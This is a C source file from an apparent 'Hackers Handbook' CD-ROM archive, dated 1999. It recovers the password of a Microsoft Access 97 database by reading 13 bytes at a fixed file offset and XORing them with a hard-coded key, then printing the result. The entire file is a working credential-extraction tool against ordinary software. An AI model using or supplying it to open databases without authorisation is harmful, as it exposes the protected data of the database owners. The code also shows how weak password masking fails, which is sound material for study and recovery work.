home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / all-access.c < prev    next >
C/C++ Source or Header  |  1999-04-11  |  1KB  |  56 lines

  1. /*
  2.  * "Decrypt" Microsoft Access 97 Database Passwords
  3.  *
  4.  * Nate Lawson <nate@root.org>
  5.  * 2/9/99
  6.  *
  7.  * XOR sequence taken from a post by Adam Shosthack <adam@homeport.org>
  8.  * Access 97 actually allows a user to enter a 14 char password, although
  9.  * only the first 13 chars are stored and verified.
  10.  */
  11.  
  12. #ifdef WIN32
  13. #include <windows.h>
  14. #endif
  15. #include <stdio.h>
  16.  
  17. main (int ac, char *av[])
  18. {
  19.     FILE *fp;
  20.     int i;
  21.     unsigned char passBuf[14], xorString[] = { 0x86, 0xFB, 0xEC, 0x37,
  22.         0x5D, 0x44, 0x9C, 0xFA, 0xC6, 0x5E, 0x28, 0xE6, 0x13 };
  23.  
  24.     if (ac != 2) {
  25.         fprintf(stderr, "Usage: %s filename.mdb\n", av[0]);
  26.         exit(1);
  27.     }
  28.  
  29.     /* Open file, read password into buffer */
  30.     if ((fp = fopen(av[1], "rb")) == NULL) {
  31.         fprintf(stderr, "Unable to open %s\n", av[1]);
  32.         exit(1);
  33.     }
  34.     if ((fseek(fp, 0x42, SEEK_SET)) < 0) {
  35.         fprintf(stderr, "Unable to seek.  File truncated?\n");
  36.         exit(1);
  37.     }
  38.     if ((fread(passBuf, sizeof(passBuf) - 1, 1, fp)) < 0) {
  39.         fprintf(stderr, "Cannot read file: %s\n", av[1]);
  40.         exit(1);
  41.     }
  42.  
  43.     /* Unmask password and print out results */
  44.     for (i = 0; i < sizeof(passBuf) - 1; i++)
  45.         passBuf[i] ^= xorString[i];
  46.     passBuf[sizeof(passBuf) - 1] = '\0';
  47.  
  48.     printf("Password is:\n   %s (ascii)\n   ", passBuf);
  49.     for (i = 0; i < sizeof(passBuf) - 1; i++)
  50.         printf("0x%x ", passBuf[i]);
  51.     printf("(hex)\n");
  52.  
  53.     exit(0);
  54. }
  55.  
  56.